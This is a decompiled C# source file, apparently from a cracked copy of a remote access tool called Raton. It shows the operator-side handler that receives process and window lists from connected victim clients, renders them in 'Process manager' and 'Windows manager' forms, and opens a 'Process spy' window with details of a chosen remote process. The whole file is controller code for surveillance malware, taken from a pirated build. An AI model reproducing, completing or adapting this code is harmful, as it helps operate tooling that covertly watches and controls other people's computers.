150 lines
5.8 KiB
C#
150 lines
5.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleProcessManager
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Forms.ClientForms.Monitor;
|
|
using Raton.Properties;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleProcessManager
|
|
{
|
|
public HandleProcessManager(SillyClient SillyClient, Unpack unpack)
|
|
{
|
|
string asString1 = unpack.GetAsString("UID");
|
|
ratonProcess processManagerForm = (ratonProcess) Application.OpenForms["Process manager | Client ID: " + asString1];
|
|
ratonWindows windowsManagerForm = (ratonWindows) Application.OpenForms["Windows manager | Client ID: " + asString1];
|
|
if (processManagerForm == null && windowsManagerForm == null)
|
|
return;
|
|
string command = unpack.GetAsString("Command");
|
|
if (processManagerForm != null)
|
|
{
|
|
if (processManagerForm.SillyClient == null)
|
|
{
|
|
processManagerForm.SillyClient = SillyClient;
|
|
processManagerForm.timer1.Start();
|
|
}
|
|
processManagerForm.Invoke((Delegate) (() =>
|
|
{
|
|
switch (command)
|
|
{
|
|
case "List":
|
|
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
|
|
{
|
|
"-=>"
|
|
}, StringSplitOptions.None);
|
|
processManagerForm.aeroListView2.Items.Clear();
|
|
processManagerForm.imageList1.Images.Clear();
|
|
processManagerForm.aeroListView2.BeginUpdate();
|
|
for (int index = 0; index < strArray.Length - 1; index = index + 4 + 1)
|
|
{
|
|
string key = Helpers.Random();
|
|
ListViewItem listViewItem = new ListViewItem();
|
|
listViewItem.Text = strArray[index];
|
|
listViewItem.SubItems.Add(strArray[index + 1]);
|
|
listViewItem.SubItems.Add(strArray[index + 2]);
|
|
listViewItem.SubItems.Add(strArray[index + 3]);
|
|
if (strArray[index + 4].Trim() != "N/A")
|
|
{
|
|
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray[index + 4])));
|
|
processManagerForm.imageList1.Images.Add(key, image);
|
|
listViewItem.ImageKey = key;
|
|
}
|
|
else
|
|
{
|
|
if (!processManagerForm.imageList1.Images.ContainsKey("Admin"))
|
|
processManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
|
|
listViewItem.ImageKey = "Admin";
|
|
}
|
|
listViewItem.Tag = (object) strArray[index + 1];
|
|
processManagerForm.aeroListView2.Items.Add(listViewItem);
|
|
}
|
|
processManagerForm.changeColor(unpack.GetAsString("CurrentRaton"));
|
|
processManagerForm.aeroListView2.EndUpdate();
|
|
processManagerForm.label1.Visible = false;
|
|
processManagerForm.aeroListView2.Visible = true;
|
|
break;
|
|
case "Info":
|
|
string asString2 = unpack.GetAsString("Data");
|
|
if (string.IsNullOrEmpty(asString2))
|
|
break;
|
|
new RatonPI()
|
|
{
|
|
Text = $"Process spy | {unpack.GetAsString("ProcessName")} | {unpack.GetAsString("ProcessId")}",
|
|
textBox1 = {
|
|
Text = asString2
|
|
}
|
|
}.Show();
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the process information", (object) Color.LightGreen)));
|
|
break;
|
|
}
|
|
}));
|
|
}
|
|
if (windowsManagerForm == null)
|
|
return;
|
|
if (windowsManagerForm.SillyClient == null)
|
|
{
|
|
windowsManagerForm.SillyClient = SillyClient;
|
|
windowsManagerForm.timer1.Start();
|
|
}
|
|
windowsManagerForm.Invoke((Delegate) (() =>
|
|
{
|
|
if (!(command == "List"))
|
|
return;
|
|
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
|
|
{
|
|
"-=>"
|
|
}, StringSplitOptions.None);
|
|
windowsManagerForm.aeroListView2.Items.Clear();
|
|
windowsManagerForm.imageList1.Images.Clear();
|
|
windowsManagerForm.aeroListView2.BeginUpdate();
|
|
int num;
|
|
for (int index = 0; index < strArray.Length - 1; index = num + 1)
|
|
{
|
|
string str1 = strArray[index];
|
|
string text = strArray[index + 1];
|
|
string str2 = strArray[index + 2];
|
|
string s = strArray[index + 4];
|
|
if (!str2.Trim().Equals("Foreground", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
num = index + 4;
|
|
}
|
|
else
|
|
{
|
|
string key = Helpers.Random();
|
|
ListViewItem listViewItem = new ListViewItem();
|
|
listViewItem.Text = str1;
|
|
listViewItem.SubItems.Add(text);
|
|
if (s.Trim() != "N/A")
|
|
{
|
|
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(s)));
|
|
windowsManagerForm.imageList1.Images.Add(key, image);
|
|
listViewItem.ImageKey = key;
|
|
}
|
|
else
|
|
{
|
|
if (!windowsManagerForm.imageList1.Images.ContainsKey("Admin"))
|
|
windowsManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
|
|
listViewItem.ImageKey = "Admin";
|
|
}
|
|
listViewItem.Tag = (object) text;
|
|
windowsManagerForm.aeroListView2.Items.Add(listViewItem);
|
|
num = index + 4;
|
|
}
|
|
}
|
|
windowsManagerForm.aeroListView2.EndUpdate();
|
|
windowsManagerForm.label1.Visible = false;
|
|
windowsManagerForm.aeroListView2.Visible = true;
|
|
}));
|
|
}
|
|
}
|